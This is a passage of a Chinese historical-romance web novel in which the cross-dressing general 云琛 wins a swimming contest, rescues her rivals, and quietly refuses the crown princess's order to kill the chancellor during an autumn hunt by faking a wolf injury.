“听说,云将军因为腰肾有伤,已伤根本,不能继承大宗。不过也无妨,您与霍将军情谊非常,也不必考虑子嗣。只是眼下看来,您已经伤得那么重了吗?都不能骑马打猎了?所以要抢我哥哥刚打来的猎物?”
这话句句戳人痛处,踩人短板。
来来往往忙碌的宫人、巡逻的禁京两军,还有许多亲贵大臣和家眷,不少人都循声看过来,用探究的目光看着云琛。
都好奇这威风凛凛的云将军,是不是真的如传说一般,既不举又龙阳?
云琛将墨墨抱在怀里,看着小家伙受惊得直往她怀里钻的样子,心疼不已,再去看这傲慢无礼的两兄妹,只觉得格外烦眼,便道:
“菘蓝大人,你不必这样造我的谣,我从未无礼对待过你,最早所谓与你论亲,也只是公主一句玩笑,我都是很久之后才听说。我知道你瞧不起做护卫的我,觉得我高攀你,但不好意思,你不是我喜欢的类型,何来高攀?
后来于蛇群飞梁救你,我因护卫职责冒险救下你,却挨了你一巴掌,不是我还不起。只是觉得很可笑,我既没有娶你的意思,又何必轻薄你?再后来……”
停顿片刻,云琛也学着菘蓝的样子,努力露出一抹高贵冷艳的讥讽冷笑,却显得非常生疏,甚至有些稚嫩好笑。
“再后来发生了什么,菘蓝大人心里清楚。我不找你对簿公堂,已是我放你一马。你若再这样纠缠不放,我便要好好聊一聊从前的事了。”
没想到云琛会将话说得这样直白,更威胁要揭发菘蓝冒功风灼草之事。
菘蓝脑子转得飞快,在怼人这方面,她还从来没输过。
“是吗?要说道说道?那我写信先问问东炎?”
这是威胁要向东炎告发,云琛就是盗风灼草之人,确实是可以威胁到云琛性命的一招。
风灼草之事若真闹起来,两国面子上不好看,大概率会严惩、甚至杀了云琛给东炎皇帝赔罪。
菘蓝自认为这威胁已经到顶峰了,却不料云琛认真地看着她,诚恳开口:
“无所谓。你要是欺负我,霍乾念会收拾你。”
像个被欺负要找家长的孩子,云琛的神情坦诚又带点小骄傲,倒给菘蓝整不会了。
苏正阳从旁鄙夷:
“真是大开眼界,第一次见人可以厚颜无耻到这个地步,‘龙阳’都不藏着掖着,怎么,巴不得所有人都知道你是凭这做将军的吗?”
云琛直接气笑了,她掏出小鱼干喂给雪貂,头都不抬一下,“那你打不过我,是不是证明你比‘厚颜无耻’还差,比‘龙阳’还没本事。”
一回合就吃败,苏正阳被噎得脸都憋紫了。
菘蓝自然知道哥哥为自己出气反而被打了一顿的事,全京都都在笑他们苏家,这口气实在咽不下,可偏偏又撒不出去!
看着猪肝脸色的兄妹二人组,跟两只气鼓鼓的河豚似的,云琛无奈叹口气,将雪貂捆在腰上,说了句“小煤球抓紧我”,然后对苏正阳道:
“我再与你比一场,比什么你选,怎么比你定。倘若我输了,我由你揍一个时辰出气;倘若你输了,你们别再来烦我,所有恩怨一笔勾销,而且得向墨墨道歉,如何?”
第一次听说揍人不按“顿”,按“一个时辰”算的。
“真是好狂的口气!”苏正阳鼻子里重重冷哼。
那厢,菘蓝则在心里快速盘算,刀枪棍棒、剑法箭术……云琛仿佛六边形全能战士,没什么短板,该挑哪一个弱点比试呢?
总不能现场比心眼和耍诡计吧?那云琛必输无疑,但也得是菘蓝亲自上阵才可以。
菘蓝正满心思量,自己都觉得可笑时,却听苏正阳一句惊雷,劈得她差点栽倒。
苏正阳对云琛道:
“好!那就比凫水!”
第273章 一决雌雄
当听人来报,说苏正阳又在找云琛麻烦时,霍乾念猛地从榻上坐起身,手已经去摸隐月剑了。
再听说,苏正阳要和云琛比试一场,还特意挑的比试凫水,霍乾念又躺了回去,直接开始睡午觉。
报信的宫人莫名其妙的,只能行礼告退,人都退出帐篷了,却听霍乾念又说了句:
“去请上两位御医候着吧,死了还是有些麻烦的。”
宫人不太明白,但还是赶紧领命照办,等带着两个御医到湖边的时候,只见岸边已站满了闻声来看热闹的大臣、亲贵和家眷。
人群乌泱泱围着湖边,都不去做打猎准备了。
秋狝有意思,但显然看俩将军掐架更有意思。
苏正阳站在临水的位置,对云琛道:
“就比凫水,一决雌雄。输赢就照刚才说的来,决不食言。”
看着苏正阳一本正经的样子,云琛哭笑不得,甚至有点觉得他傻得可爱。
苏正阳知道她在笑什么,正色道:
“既然比,就不可能专找你弱我强的比,那不是君子所为。我听说过你擅凫水的事,那就在你最强的领域比。不比潜水,不比水战,只比速度!”
速度?云琛从儿时开始学习凫水,向来更侧重于闭气和潜水,还真没着重过速度。
她只考虑了一瞬,便道:
“好,比速度我挺感兴趣,那开始吧。”
云琛和苏正阳正要开始,菘蓝却叫了一声“慢着!”拦住了二人的动作。
菘蓝道:“为公允起见,有些规矩还是要说一说。比试不许佩剑,不许闭气潜水,不许用内力——”
“你干脆直接说不许我上场呗!”云琛嘴比脑子快,接了这么一句。
围观的众人哈哈大笑。
菘蓝脸上有些挂不住,本来想对苏正阳嘱咐一句“苏家的颜面可都在你身上了!”但见周围人都看着,只能用眼神示意苏正阳。
而后,菘蓝与两个侍女离开哄笑的人群,走到湖边一处视野更好的小坡观看比试。
苏正阳自然懂妹妹的意思,坚定地点头,走进浅水做准备。
云琛将腰上的雪貂解下来,想暂时托付给别人。
这时,一双白皙小巧的柔荑伸了过来,一个活泼又带些羞怯的声音对云琛道:
“云将军,您将‘信侯’给我吧,在您回来之前,我先照顾着,可以吗?”
云琛打量眼前娇俏可人的陌生少女,说了句“多谢”,正想将雪貂递过去,目光却注意到不远处的宋禄老伯爵也站在人堆里,正一脸激动、欣慰又有点惋惜的表情。
云琛立马猜到这少女是谁,赶紧调转手里方向,将墨墨塞给了一个小太监。
少女有点失望,但仍大大方方地对云琛笑道:
“将军多加小心,祝将军凯旋!”
云琛退开两步,生分而得体地还礼,没有一丝轻薄逾矩,甚至还刻意避嫌。
苏正阳将一切都看在眼里,直觉感到云琛不像是装的。
再看云琛时,苏正阳的眼神依旧充满敌意,却多了一丝探究和怀疑。
在围观众人的鼓掌声中,云琛与苏正阳齐齐跳水,宛若两支离弦之箭,飞速朝湖对岸而去。
苏正阳个子比云琛高,手长脚长,游水姿势一看就是贵族子弟们自小请老师专门教授的,身段非常漂亮,且速度完全不逊于云琛。
在抵达湖对岸时,苏正阳几乎与云琛同时到达,同时漂亮地水中翻身,掉头回游,朝岸边返回。
二人动作利落,速度快如水中箭,引得岸边众人叫好不已。
抱着一定要为妹妹出口恶气的想法,苏正阳紧咬牙关,拼命往前游。
大概是愤怒能带给人力量,苏正阳竟慢慢超过云琛,甚至一点点拉开了距离。
岸边观战的菘蓝激动得差点跳起来,下意识攥着拳头往前走一步,却不料坡土松软,边缘突然断裂塌陷。
菘蓝还没来得及发出一声惊叫,整个人就“扑通”掉进了水里。
“救……唔……”
菘蓝在水面不停扑腾挣扎,湖水不停灌进她的嘴巴,让她连“救命”都喊不出来。
岸边围观的众人发出惊呼,纷纷喊着“快去叫巡逻队”,却见湖水之中,那两条笔直的白浪水线同时调转方向,放弃终点,以更惊人的速度向菘蓝游去。
见菘蓝落水,苏正阳心中大急,一下子节奏错乱,反而慢了下来,眼睁睁看着云琛径直游过他身旁,朝菘蓝游去。
这下苏正阳更急了,菘蓝如今名声不好,全因云琛轻薄而起。
若此时再让云琛救菘蓝,这样众目睽睽之下在水中紧贴身体,只怕菘蓝今后再没有活路了。
想到这里,苏正阳更惊更急,游得更拼命,却突感小腿猛烈抽筋拧痛。
他痛苦地抱住腿,整个人不受控制地蜷缩起来,挣扎着往水底沉去。
云琛闻声浮出水面,回头看了一眼苏正阳,再看一眼同样开始下沉的菘蓝,暗骂一句“我真服了你们兄妹俩!”然后一头再次扎进水,快速朝菘蓝游去。
菘蓝一边下沉,一边不停挣扎。
窒息的恐惧让她绝望,彻底失去理智。
一见云琛游过来,她直接死死搂住云琛的脖子,拼命去踩云琛的肩膀和头,试图爬出水面。
云琛被猛地一勒,喉间闭气被打散,瞬间呛进去好几口水。
她想要带着菘蓝上浮,但平时手无缚鸡之力的女子,此刻垂死挣扎的力气却十分惊人,她根本控制不住,反而被菘蓝拽着,往下沉去。
不管云琛怎么努力,菘蓝就是不停反抗挣扎,甚至脑袋一晃,头上的簪子直直朝着云琛扎过去,差点扎中她眼睛。
幸而云琛反应快,躲得及,但还是被簪头划到脸颊。
血丝在水中氤氲开,见血之后,云琛反而更冷静。
她直接绕到菘蓝身后,胳膊从菘蓝腋下穿过,拦胸抱住,往水面游去。
接着,众人只见云琛拖着衣衫不整、发钗凌乱的菘蓝露出水面,胳膊正好抱在菘蓝衣领大敞的胸口。
第274章 傲慢的臆想
云琛将菘蓝托上水面的时候,京军的巡逻队刚好赶了过来,赶紧接过菘蓝,拿披风将人裹住。
云琛立刻掉头折返,去营救已经快要沉底的苏正阳。
苏正阳到底会水性,懂些救水的技巧,硬是忍着求生的本能,没有太挣扎。
但云琛为了防止意外,还是采用了和救菘蓝时一样的姿势,从身后抱着苏正阳。
苏正阳个高肩宽,不比菘蓝纤瘦小巧,云琛抱着他有些费力,身子都与他后背紧贴了,却还搂不全他胸口。
待二人浮出水面之后,苏正阳剧烈地咳嗽喘息,虽然浑身瘫软没力气,但他还是挣脱开云琛的手,改为和云琛互相搀扶。
云琛没有多想,只当这高门显贵的公子哥儿爱面子,不想在这么多人面前狼狈。
她与苏正阳刚爬上岸,力竭地倒在地上大喘气,立刻就有两个披风搭上来。
众人叽叽喳喳关切不停,自觉散开空地让二人休息。
另一边,人已经彻底恢复清醒的菘蓝捂着胸口,披头散发,几乎要将银牙咬碎,用充满恨意的眼神瞪着云琛,对苏正阳道:
“哥哥!杀了他!杀了这个无耻小人!”
围观众人自然知道菘蓝指的是什么,纷纷出言劝阻:
“哎呀,事急从权!云将军又不是故意的!”
“救命要紧还是这要紧?水里那生死一线的时候,谁人能顾得上这些!”
“就是啊,云将军差点被你拖累死!多危险!”
“哪有对救命恩人这样的,真让人寒心!”
周围声音不断,菘蓝感觉头昏脑涨,所有委屈、愤怒、羞耻……通通涌上心头,禁不住捂面痛哭。
菘蓝一哭,周遭反而安静下来,都不好再说什么。
云琛累瘫在地上,耳朵里听着一切,却完全没力气爬起来解释,只能拿脚踢了下旁边一同“躺尸”的苏正阳,虚弱道:
“喂,去管一下你妹。”
苏正阳慢慢爬起来,却没有立刻去菘蓝处,而是垂眼打量向云琛:
身形高挑,但比一般男子矮一些,也更清瘦些。
因为湿透的缘故,云琛的头发有些松散,包着一张巴掌大的脸,颇有些黑发雪肤的美人气质。
那一道划过脸颊的血痕微微出血,更衬得她有点脆弱、令人怜爱的味道。
人们都说云将军一身阴柔气,是“龙阳”。
却不想戎装之下竟是美玉。
苏正阳回忆比试之前他说什么来着?
一决雌雄?
得,这下真分出雌雄了。
云琛并不知自己方才在水中救苏正阳时,由于前胸与他后背贴得太紧,已经让苏正阳惊觉。
她累得躺在地上不想动,却闭着眼睛都能感觉到,一双目光正从头到脚打量她,看得她好不自在。
她睁开眼,正对上苏正阳复杂的眼神。
不知道这厮又在打什么主意,云琛懒得计较,费力地坐起来,朝苏正阳伸出手,有气无力道:
“拉我一把。”
苏正阳看了眼那秀气到只堪堪一握的小手,没有伸手去拉,只是将自己身上的披风扯下来,扔在云琛身上,然后撂下一句话,扭头朝菘蓝走去:
“我输了,我认。”
周围发出掌声和叫好声,倒不是为云琛赢了比试,而是赞云琛水中救人的英勇。
云琛只当苏正阳和菘蓝一样,又在生气,悻悻地收回手,暗骂了句“俩没良心的狗东西”,而后拿苏正阳的披风擦擦脸上的水,忍着浑身酸痛爬起来,往周围人群中去找墨墨。
小太监将雪貂抱给云琛。
云琛将雪貂举起来,拿额头轻轻蹭它的头,疼爱道:
“小煤球,我赢了,我给你出气了,你高不高兴?”
雪貂眼神迷茫,轻轻挣扎,完全没有听懂云琛在说什么的样子,根本不像从前灵气。
云琛一脸心痛:
“墨墨!你脑子长在尾巴上吗?是不是被踩傻了?!”
眼前的雪貂没有回应,倒是人群中跳出一模一样的另一只雪貂,朝着云琛呲哇乱叫,小爪子连连比画,表达着非常不满。
云琛循声看过去,面前是闻声匆匆赶来且一脸担忧的知罗,还有其他十几个女官。
知罗旁边,墨墨抱着胳膊站立,戴着一顶宫中特制的核桃大小的官帽,嘴里叼着根小鱼干,非常不高兴地瞧着云琛。
左看看,右看看,云琛终于知道自己认错“貂”,冤枉苏正阳了……
“唉我真的……”云琛抓过真墨墨,一顿连亲带啃,“墨墨,你长得太大众脸了,不赖我……”
墨墨“吱吱”叫一声,小爪子捶了云琛一下,似乎在说“你蠢你的,别带上我。”
知罗先是仔细瞧了瞧云琛,见她除了疲累和脸颊一道血痕,并无其他大碍,便与其他女官一起去看顾菘蓝。
云琛也抱起假墨墨,走到菘蓝与苏正阳面前,有些不好意思道:
“对不住,是我认错,冤枉你们了。我给你们赔不是。”
苏正阳接过假墨墨,手指不小心碰到云琛的手,立刻火燎似的收回来,脸颊竟微微泛红,不敢抬眼直视,声音也有些异样:
“没事,你救了我们,远远扯平了。”
菘蓝难以置信地瞪着苏正阳,不明白哥哥为什么突然转了性子,用哭腔浓重的声音气道:
“哥哥!云琛实乃下流小人!几次三番轻薄我!你应当为我报仇!怎么能扯平?!”
苏正阳不知道该怎么解释。
云琛是个女子,又摆明是与霍乾念相互中意,绝对不可能轻薄菘蓝。
一切只能是菘蓝太过傲慢的臆想。
他不能说,只能叹气,温声哄道:
“别闹了,我陪你回去歇息吧。”
没想到连哥哥都不向着自己了,菘蓝鼻头一酸,眼泪簌簌掉落,目光扫过围观指指点点的人群——
那些从前背后笑话她,今后会更加轻视她的京圈贵女们,扫过假意关心、实则带着所有女官来看她笑话的知罗。
她最后将目光落在云琛的脸上,咬牙切齿,用充满仇恨的眼神死死瞪着云琛,而后一把抓过苏正阳手里的雪貂,狠狠摔在地上。
雪貂哀嚎一声,口鼻流血,很快没了声息。
这动作猝不及防,叫所有人都吓了一跳。
云琛反应过来之后,第一时间捂住墨墨的眼睛。
“乖孩子,咱不看昂——”
第275章 引诱
人缘好不好,伤病一场就知道。
菘蓝落水受惊,发起高热,有几个相熟的女官想去瞧她。
走到她帐子门口,却听见里面叮呤咣啷不停砸东西,还夹着她的咒骂声,只得识趣地离去。
反观云琛这边,不过是脸颊上划了一道血痕,霍乾念就火急火燎地拎着御医来了。
霍乾念已经跑得够快了,架不住云琛伤口还是愈合了。
那御医对着云琛脸上那条和线一样细、已经结痂的伤口,试探地问霍乾念:
“要不,我给伤口再弄开?”
在霍乾念一个冷眼下,御医假模假样地走了一遍清洗、抹药、包扎的流程,给云琛脸上贴了一大块草药布巾,几乎将她半张脸都遮住,才敢离开。
等闻声来探病的段捷、宋禄老伯爵、宋禄老伯爵家的五小姐,还有几个公主亲兵进来的时候,直接惊呼一声,都以为云琛毁容了。
段捷先是看了一眼霍乾念,而后关切地问云琛:
“你脸色好差,应是凫水累的。怎么伤这么重?影响明日带队打猎不?”
云琛咧嘴笑,“有点影响。饿得厉害,容易打急眼。”
听云琛这没事的样子,段捷哈哈大笑,放下心。
一个公主亲兵上前扶住云琛肩膀,“兄弟,记得我不?桃花峪游船时你救了我。你这家伙,几年不见,还是这么猛!”
旁边几个人也都与云琛笑着寒暄。
云琛认得,都是当时在桃花峪,亲眼见证她如何不要命地救人,并且被她救了的几个公主侍卫。
故人相见,自然亲切,云琛和几人聊得热闹。
那宋禄老伯爵则惋惜得直拍大腿,心说他才找人打听到补肾的秘方,怎么这又毁容了?
他急急走到云琛身边,小心翼翼地掀开草药布巾去看,然后长舒一口气,对女儿道:
“快来看看云将军。”
说完,宋禄老伯爵又牵起云琛的手,拉家常似的笑道:
“我这女儿不成器,心里藏不住事,成天喊着要见云将军,硬跟着我来秋狝。看你受伤,她伤心得很,非得来看看才放心!”
这话一出,原本喧闹的帐篷瞬间安静了。
一旁的霍乾念无奈苦笑,不着痕迹地将云琛的手从宋禄老伯爵手里抽出来。
宋禄老伯爵这几句话已近乎打直球,就差对云琛说“我家想招你做女婿”了。
那娇俏活泼的五小姐一听,脸蹭地红起,也不管体面不体面,直接大声道:
“爹你别胡说!我见云将军是‘敬仰’他保家卫国的本事,喜欢听说书先生讲他战场杀敌的故事,是‘敬仰’!不是‘仰慕’!”
宋禄老伯爵显然不太懂这俩词有什么区别,“不是一回事吗?”
“哎呀!”五小姐气得一跺脚,红着脸跑出去。
留下一帐篷男人哈哈大笑。
这游泳比试又救人的小插曲过后,夜色将至,秋狝的队伍渐渐在帐篷营地安静下来。
云琛从霍乾念那里腻歪了一阵,也回到自己的帐篷。
她这一天又累又饿,只想倒头就睡,别耽误明日的首场围猎。
结果她屁股还没挨到榻上,就有女官来通传,说是南璃君要见她。
终于要述职了吗?
云琛心里想着,赶紧摘下脸上那夸张的草药布巾,收拾妥当往御帐走。
离御帐几十丈远的时候,她注意到四周守卫的亲兵都刻意站得离帐篷很远。
帐篷四周不见一个宫人或女官。
云琛太熟悉这架势,应该是南璃君屏退了左右,有什么要紧事同她说。
只是南璃君从来没有单独召见过她,所有事情都是与霍乾念相谈。
带着好奇和疑问,云琛走进帐子,只见高座之上,南璃君容颜璀璨如明珠,正笑看着她。一旁只有知罗伺候。
“云将军来啦,快赐座!”南璃君笑盈盈地招呼,接着又道:
“云将军回京以来,本殿一直想与云将军私下说说话。云两军实乃我朝青年才俊,难得的悍将。本殿虽在京都,却时时关注着战时,知道云将军勇冠全军深入敌军的功绩!云将军,本殿替楠国和所有百姓感激你!”
南璃君说着以茶代酒,向云琛敬杯。
云琛受宠若惊,赶紧谦虚还礼。
知罗从旁道:
“云少将功勋卓著,本事不在霍将军之下,是可以独自领兵的。假以时日,云少将若升任将军,便可与霍将军分别率军,不必屈人之下了。”
南璃君大为同意:
“确实是。云将军不必一直辅佐霍将军,可以独挑大梁,自己做将领,率自己的军。”
云琛不太明白这两人在打什么哑谜,这样不要钱地吹捧她,诚恳回答:
“谢殿下赏识。但末将自认勇猛有余,智谋不足,远见、战略远在霍将军之下,恐怕还不能胜任一方将领,还需霍将军为师,再多教导些。”
南璃君听完愣住,估计没想到会得到这样一个回答。
若是旁人听出自己有升官发财的机会,那肯定高兴得磕头谢恩都来不及。
云琛竟然一口拒绝了。
这让南璃君接下来怎么演?
气氛浅浅地尴尬了一下。
知罗道:“云少将太谦虚了,不在其位不谋其政。云少将只有真的坐到‘将军’的位置上,才能学会做‘将军’,您说是吗?”
这话也挺有道理,云琛没有反驳。
南璃君立刻摆出更加灿烂的笑容,朝云琛招手,示意她再靠近些说话。
云琛站起来往前走了两步,南璃君再次招手。
她只能又往前两步,南璃君还是招手。
不知为何,云琛颇有种自己是条小狗,在被人逗耍的感觉。
她最终走到离南璃君只有一步距离的位置,刚想说“这是不是太于礼不合”,却不防被南璃君一把抓住胳膊。
南璃君压低声音,语气神秘地引诱道:
“本殿有意破例封你为‘玄威上将’,只比霍乾念低一级,由你独自管辖十万骑兵。但本殿需要你做一件事——”
云琛愣愣地看着南璃君,后者朱唇轻启,轻声道:
“杀倪鲲。”
第276章 女孩子
云望留意到,南璃君将苏家父子的帐篷,安排在了离她自己最近的位置,隐隐一副随时调动禁军来护卫东宫的架势。
又打着为秋狝巡防守卫的名头,将一大半京军分散在了各个山头和围场。
这样一来,倪鲲没了京军做靠山,营地到处人多眼杂乱糟糟的。再加上狩猎时刀剑无眼,猎队行马快速,埋伏无声,误伤人是常有的事。
误杀,便也没什么可稀奇的。
原来醉翁之意不在酒。
秋狝,只是为了创造一个杀倪鲲的好时机。
那么,南璃君应该会找一个“猎手”趁乱动手,保证她自己撇得干干净净。
不知是谁向南璃君献上这样的妙计,一张杀网已悄无声息地在倪鲲四周悄悄展开。
云望将这一切看得分明,所以格外觉得悲凉。
因为他知道倪鲲看得比他更清楚,却心甘情愿地走进网中。
看着眼前声势浩大的秋狝开猎仪式,人山人海,庄重盛大。
霍乾念在,段捷在,苏家在,亲贵大臣们都在,云琛在,女官们,宫人们,还有那个总是笑眯眯想要和他套近乎的颜十九也在。
十二只猎队由十二位将领带着,齐齐列队在朝阳之下,听着女官宣读那辞藻华丽而言之无物的东宫祝词。
以杀戮庆祝丰收,祈祷来年国泰民安。
云望觉得好可笑,这求的是什么嗜血邪神吗?
若不是,神见这么多动物被无辜猎杀,不降罪人间就算了,还保平安?
正凝神间,出发的猎号响彻当空,惊醒云望的思绪。
他默不作声地看着南璃君装作兴致大发的样子,叫倪鲲从观礼席出来,与猎队一同去打猎玩玩。
倪鲲没有推辞,只是笑问十二位高高骑在马上的将领们,谁愿意带他这个拖油瓶。
令云望万万没想到的是——
云琛说,她愿意。
当云琛走出来的一刹那,云望瞬间瞪大了眼睛。
他知道,云琛就是南璃君找的“猎手”。
那个将“误杀”倪鲲的刽子手。
云琛跳下马,将马牵到倪鲲面前:
“丞相大人,这是我的坐骑,您骑这个吧。”
倪鲲看了眼快比他整个人还高的马背,笑道:
“多谢云将军割爱,那老朽不客气了。”
说罢,两个公主侍卫来扶倪鲲上马。
不知是水中龙性子太烈,还是两个侍卫动作不利落,倪鲲怎么都上不去马背,反而被马牵得团团转。
他衣服蹭得凌乱,花白的头发也散了一缕,样子十分滑稽,惹得南璃君掩面笑出一声,周围人也立马附和地跟着笑起来。
人群之中,云望低下头,不忍去看。
等他再抬起头的时候,只见倪鲲已安稳坐上马背,牵马的动作十分生疏无措。
云琛站在地上,手中还保持着扶倪鲲上马的姿势,一边安抚马,一边向倪鲲简单说些骑马要领。
而后云琛背起弓箭,挎好红缨枪和饮血剑,翻身骑上另一匹马。
大概是离宫之后就不那么拘着规矩的缘故,一向儒雅从容的倪鲲,突然对着人群挥手,笑着说了句“老朽去也”,引得众人都鼓掌激励。
一旁,云琛下意识往倪鲲挥手的方向看了一眼。
在乌压压的人群之中,她仿佛看见云望眼圈发红,动作僵硬地也在鼓掌。
十二只猎队在众人的叫好声中奔腾远去,深入围场密林。
不过一刻钟的功夫,十二只猎队全部分散开,各自隐去踪迹。
云琛瞧见颜十九在不远处,想要驾马过去和他打个招呼,那厮却装作没看见她似的,骑着马往反方向跑了。
她觉察出点滋味来,自这次回京之后,颜十九好像总是躲着她,莫名其妙避嫌的样子。
倒是苏正阳的队伍离她很近。
云琛正抬弓拉箭,瞄准一只野狗时,苏正阳突然牵马靠过来,惊得野狗撒丫子逃开。
他目光落在她脸颊已经结痂的血痕上,从怀里掏出一个小瓶子抛给她。
“这是秦艽玉颜脂,抹了不会留疤,你记得用。”
被惊了猎物的云琛有点不爽,但还是接过瓶子,说了句“多谢”,接着就准备远离这个随时会生气,变成河豚的家伙。
谁知苏正阳却拦住她,然后从马背上解下一个小竹笼递给她,语气有些不自然:
“喏,给你的。”
云琛接过来,从竹笼缝隙一瞧,竟是一只纯白色的雪貂。
她不明白苏正阳是什么意思,让她帮忙杀貂?
苏正阳避开与她的眼神对视,又道:
“我觉得白色好看,更配你。”
云琛这下明白了,这是送她貂皮,让她做围脖的意思。
她将笼子还给苏正阳,“我喜欢墨墨,就不好杀它同类,你自己留着吧。”
苏正阳表情有点尴尬发红,并不去接笼子,只说“给你就是你的,不要就扔了!”然后驾马离开。
云琛怔在原地,心说这兄妹俩都什么毛病?
打量笼子里憨态可掬的纯白雪貂,云琛觉得拿去给墨墨当媳妇不错,便朝苏正阳离去的背影喊问:
“喂!雄的雌的?”
苏正阳脸色大红,头也不回:
“是女孩子!”
“哦!”云琛将竹笼栓在马屁股上,继续撒欢打猎。
等打完两头野猪、六只鹿、十二只狍子、二十多只兔子山鸡的时候,她看了看日头,午时三刻,已到南璃君叫她假装失手,杀死倪鲲的时辰。
她朝四周望了一眼,猎队早已分散开,人与人之间都隔得很远。
再看倪鲲,他一直骑着马,费力地跟在云琛后方,没有脱离过她的视线。
因为已年逾七旬的缘故,他根本受不了这样高强度的狩猎骑马,累得在马上摇摇晃晃。
云琛勒马掉头,背着弓箭朝他走去。
倪鲲笨拙地勒停马,努力直起身子,慢慢整理起有些凌乱的衣袍和头发。
望着云琛走近,倪鲲笑道:
“这一路上老朽已见识了,云将军好箭法,箭无虚发,令猎物死得痛快,不受折磨。”
顿了顿,倪鲲像是很高兴的样子,感叹道:
“老天待我不薄,故如此厚待。”
云琛听不懂这话。
她从来就不懂朝堂上的阴谋诡计,弯弯绕绕。
霍乾念一直都说她,虽聪慧,但天生没长阴谋算计那颗心,许多事自然看不明白。
霍乾念还说,无论什么时候,他都是她的靠山。
有山靠着,那她只要遵本心做自己就好。
本心?
她这辈子也没违过本心,不知道那是什么感觉。
想到这里,她自言自语似的说了句“骗人就是有鬼”,而后肃然瞧着倪鲲,抬弓搭箭,对准了倪鲲的脑袋。
第277章 差点笑场
倪鲲骑在水中龙上,静静望着云琛,无悔地闭上眼睛。
云琛一脸严肃杀意,一箭飞出。
那锋利的箭尖擦过倪鲲耳边——
正中他身后一头准备偷袭的土狼眉心。
倪鲲惊讶地睁开眼,往后瞧了瞧,顿时心中了然:
云琛不会杀他。
思索片刻,倪鲲重重叹息一声,不是为自己,而是为云琛。
“你应当杀我的,有了杀我的大功在,大概可以升任上将军。但若违背殿下的意思,云琛,你以后的日子就难过了。”
云琛没想到倪鲲什么都知道,“丞相大人,您不怕我刚才真杀了您?”
倪鲲毫不在意这些,反而颇有兴趣地问:
“我很好奇,殿下肯定事先召你相谈过,殿下叫你杀我的时候,你如何思量?”
云琛坦然道:“没想啥,殿下说你是贪财好色又结党营私的大奸臣,叫我杀你,我便答应了。忠君应当如此。”
倪鲲满意地点头,又问:“那你为什么又改变主意,不杀我了?”
“一则是因为殿下吩咐我此事不许告诉霍乾念,我没有他精明,但我信他。不能让他知道的事,大约不是好事。二则是因为……”云琛犹豫一下,挠挠头,不好意思道:
“先前扶您上马的时候,我不小心瞧见您官袍里面穿的粗布麻衣,衣服很旧,而且有破洞……”
云琛朗朗看着倪鲲,笑道:
“殿下说您是大贪官。但据我所知,贪官不会这么简朴又于钱财无欲无求。如果一个人非要丑化他才可以除掉他,恰恰说明‘丑化’都是骗人的。”
听云琛这番话,倪鲲翻开袖子看了一眼,上面的确有破洞,不禁哑然失笑,自嘲道:
“哈哈,早知如此,我应当把这衣服脱下来挂在府门口哇!”
云琛也笑起来,“若这样,那反而是假的,做给世人看的了。”
“哈哈哈——”倪鲲仰头大笑,目光透出欣赏。
他好像知道先皇临终之前为何只见云琛了。
不光是因为云琛女扮男装的英姿阴柔之气很像皇后娘娘,让他们这些熟悉皇后娘娘的老臣都能一眼看出来,甚至有些恍惚。
更是因为在这污浊又充满算计的世间沉沦太久,弥留之际,便只想见到一缕纯白。
只可惜,这世间容不下什么纯白。
看着云琛那双清澈见底的眼睛,倪鲲苦笑摇头:
“孩子,你的路难啊……”
云琛以为倪鲲是在说眼前的事,不杀他,没法对南璃君交代。
她安慰地朝倪鲲道:
“不妨事,我自有办法。一会儿若顾不上大人,大人莫慌,抓紧缰绳就是,狗小六会带您回营地的。”
“‘狗小六’?”倪鲲打量坐下身形结实、皮毛油光发亮的水中龙,被这个名字逗笑了。
两个时辰后。
当猎号再次响起,十二只猎队满载猎物,陆续归来。
在看到倪鲲安然无恙地回来时,云望惊讶地张大了嘴。
高座之上,南璃君猛地站起身,也不可思议地瞪着倪鲲。
紧接着,急促的马蹄声由远及近。
巡防队几个人匆匆奔来,从马背上抬下浑身是血的云琛,还有一条死透的灰毛野狼。
众人惊呼着“叫御医”,南璃君亲自冲下观礼席。
只见云琛满身是血,右臂和肩头全都被狼抓得血肉模糊,手里勉强握着沁血的弓箭,人已经半昏死。
南璃君大吼“御医何在?!”
其他猎队里,霍乾念和段捷闻声飞奔过来。
苏正阳一把抓住匆匆跑来的御医,低声道:
“把人抬去帐内诊治——抬去霍乾念帐子!”
一大群人围着云琛手忙脚乱。
但其实她压根没有昏过去。
她猎杀灰狼的时候特意估算过的,叫狼爪给她右臂一爪子。
抓得不深,只是看起来吓人。
她那“浑身是血”,也都是特意抹到身上的狼血。
说实在的,那么多人围着自己惊呼关切,她浑身不自在,好几次差点笑场,全靠掐大腿硬扛。
趁所有人忙着抬她的时候,她偷偷睁开一条眼睛缝去瞧,见霍乾念贴在她身边,一脸黢黑阴沉,紧紧握着她的手,她便轻轻回握。
霍乾念表情不变,目光微颤,不可察觉地轻轻舒了口气,偷偷用手指挠她的手心回应。
在被抬上担架,将要离开现场的时候,她又用眼睛缝瞄向不远处的倪鲲。
后者故意生气板起脸,像一个假装凶巴巴的老爷爷,对着她使劲瞪眼睛,示意她闭上眼!装像些!
她直接笑出声,赶紧用咳嗽掩饰,装作疼醒的样子。
霍乾念立刻心领神会,一把抱住她的头,埋向他胸口,遮掩住她的表情,痛心疾首地喊道:
“忍一忍!马上就疗伤!马上就不痛了?什么?你要把狼献给殿下?好好好!殿下一定很感动!”
第278章 青云直意
很快,秋狝头彩与云琛受伤之事,传得整个营地沸沸扬扬。
大家都在议论:那头彩是头大灰狼,狼牙跟小匕首一样长,狼身要四个人才抬得动,却被云将军独自一人、一剑两箭拿下。
为了这大灰狼,云将军胳膊也受了重伤,却在昏迷之际还不忘喊着将狼献给南璃君,足见其忠心。
这份忠心和勇猛令人敬佩,也令南璃君一口气堵在嗓子眼,吐不出来,又咽不下去。
南璃君没法不怀疑,为什么云琛才刚刚答应下设计杀倪鲲的法子,立马就极其巧合地伤到胳膊,无法再举刀拿箭,刺杀倪鲲了?
她怎么看都觉得像是阴谋,云琛竟也是个当面一套背后一套的小人。
没想到,这软壁有时候比铁壁还难碰。
没有法子,南璃君只能装作关切的样子,派御医为云琛诊治,并收下霍乾念送的台阶,啊不,是云琛送的灰狼,还赏了云琛百两黄金做头彩奖励。
南璃君的计划失败,但颜面保住了;倪鲲的性命也暂时保全。
只有云琛一个人受伤的世界达成了。
她很高兴,霍乾念心里却十分不舒坦。
因为早在庄姬来报,知罗向南璃君进言后,他与云琛的帐子便分开了,且云琛还住在离女官最近的地方时,他便猜到:
要么是知罗因心悦云琛而有私心,要么就是南璃君想要单独布置给云琛杀倪鲲的任务。
